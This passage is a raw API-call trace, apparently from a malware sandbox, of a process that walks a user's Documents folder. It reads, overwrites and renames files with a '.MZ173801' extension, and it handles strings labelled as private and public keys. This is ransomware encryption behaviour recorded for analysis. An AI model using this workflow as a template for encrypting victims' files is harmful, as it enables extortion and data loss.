nNumberOfBytesToRead=0x55000, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x7fe50010*, lpNumberOfBytesRead=0x19fa18*=0x55000, lpOverlapped=0x0) returned 1 [0167.858] CloseHandle (hObject=0x278) returned 1 [0167.858] VirtualAlloc (lpAddress=0x0, dwSize=0x60000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fdf0000 [0167.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.874] WriteFile (in: hFile=0x278, lpBuffer=0x7fdf0010*, nNumberOfBytesToWrite=0x55000, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x7fdf0010*, lpNumberOfBytesWritten=0x19fa24*=0x55000, lpOverlapped=0x0) returned 1 [0167.882] CloseHandle (hObject=0x278) returned 1 [0167.984] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb.mz173801")) returned 1 [0167.994] VirtualFree (lpAddress=0x7fe50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0167.997] VirtualFree (lpAddress=0x7fdf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0167.999] GetCurrentThreadId () returned 0xab4 [0167.999] GetCurrentThreadId () returned 0xab4 [0167.999] GetCurrentThreadId () returned 0xab4 [0167.999] GetCurrentThreadId () returned 0xab4 [0167.999] GetCurrentThreadId () returned 0xab4 [0167.999] GetCurrentThreadId () returned 0xab4 [0167.999] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0167.999] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.000] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.000] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd94dbc90, ftCreationTime.dwHighDateTime=0x1d5ee5c, ftLastAccessTime.dwLowDateTime=0x2f9e45b0, ftLastAccessTime.dwHighDateTime=0x1d5e2b4, ftLastWriteTime.dwLowDateTime=0x2f9e45b0, ftLastWriteTime.dwHighDateTime=0x1d5e2b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc7a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="DHtHRL.odp", cAlternateFileName="")) returned 1 [0168.000] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.000] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.000] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd02963b0, ftCreationTime.dwHighDateTime=0x1d59422, ftLastAccessTime.dwLowDateTime=0xf91fa410, ftLastAccessTime.dwHighDateTime=0x1d57ed2, ftLastWriteTime.dwLowDateTime=0xf91fa410, ftLastWriteTime.dwHighDateTime=0x1d57ed2, nFileSizeHigh=0x0, nFileSizeLow=0x16072, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="EdrNe.pptx", cAlternateFileName="EDRNE~1.PPT")) returned 1 [0168.000] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.000] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.000] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\EdrNe.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\edrne.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd02963b0, ftCreationTime.dwHighDateTime=0x1d59422, ftLastAccessTime.dwLowDateTime=0xf91fa410, ftLastAccessTime.dwHighDateTime=0x1d57ed2, ftLastWriteTime.dwLowDateTime=0xf91fa410, ftLastWriteTime.dwHighDateTime=0x1d57ed2, nFileSizeHigh=0x0, nFileSizeLow=0x16072)) returned 1 [0168.000] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\EdrNe.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\edrne.pptx")) returned 0x20 [0168.000] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\EdrNe.pptx", dwFileAttributes=0x80) returned 1 [0168.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0168.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0168.004] GetCurrentThreadId () returned 0xab4 [0168.004] GetCurrentThreadId () returned 0xab4 [0168.004] GetCurrentThreadId () returned 0xab4 [0168.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0168.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0168.005] GetCurrentThreadId () returned 0xab4 [0168.005] GetCurrentThreadId () returned 0xab4 [0168.005] GetCurrentThreadId () returned 0xab4 [0168.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\EdrNe.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\edrne.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.005] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0168.005] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.006] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x16072 [0168.006] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.006] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x16072, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x16072, lpOverlapped=0x0) returned 1 [0168.007] CloseHandle (hObject=0x278) returned 1 [0168.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\EdrNe.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\edrne.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.011] WriteFile (in: hFile=0x278, lpBuffer=0x24b8040*, nNumberOfBytesToWrite=0x16072, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b8040*, lpNumberOfBytesWritten=0x19fa24*=0x16072, lpOverlapped=0x0) returned 1 [0168.014] CloseHandle (hObject=0x278) returned 1 [0168.017] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\EdrNe.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\edrne.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\EdrNe.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\edrne.pptx.mz173801")) returned 1 [0168.018] GetCurrentThreadId () returned 0xab4 [0168.018] GetCurrentThreadId () returned 0xab4 [0168.018] GetCurrentThreadId () returned 0xab4 [0168.018] GetCurrentThreadId () returned 0xab4 [0168.018] GetCurrentThreadId () returned 0xab4 [0168.018] GetCurrentThreadId () returned 0xab4 [0168.018] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae6cc0, ftCreationTime.dwHighDateTime=0x1d5e955, ftLastAccessTime.dwLowDateTime=0x6d703fc0, ftLastAccessTime.dwHighDateTime=0x1d5a884, ftLastWriteTime.dwLowDateTime=0x6d703fc0, ftLastWriteTime.dwHighDateTime=0x1d5a884, nFileSizeHigh=0x0, nFileSizeLow=0xb853, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="eh9nFqOb33ZYsx1OOIH.docx", cAlternateFileName="EH9NFQ~1.DOC")) returned 1 [0168.018] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.018] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.018] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\eh9nFqOb33ZYsx1OOIH.docx" (normalized: "c:\\users\\fd1hvy\\documents\\eh9nfqob33zysx1ooih.docx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae6cc0, ftCreationTime.dwHighDateTime=0x1d5e955, ftLastAccessTime.dwLowDateTime=0x6d703fc0, ftLastAccessTime.dwHighDateTime=0x1d5a884, ftLastWriteTime.dwLowDateTime=0x6d703fc0, ftLastWriteTime.dwHighDateTime=0x1d5a884, nFileSizeHigh=0x0, nFileSizeLow=0xb853)) returned 1 [0168.018] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\eh9nFqOb33ZYsx1OOIH.docx" (normalized: 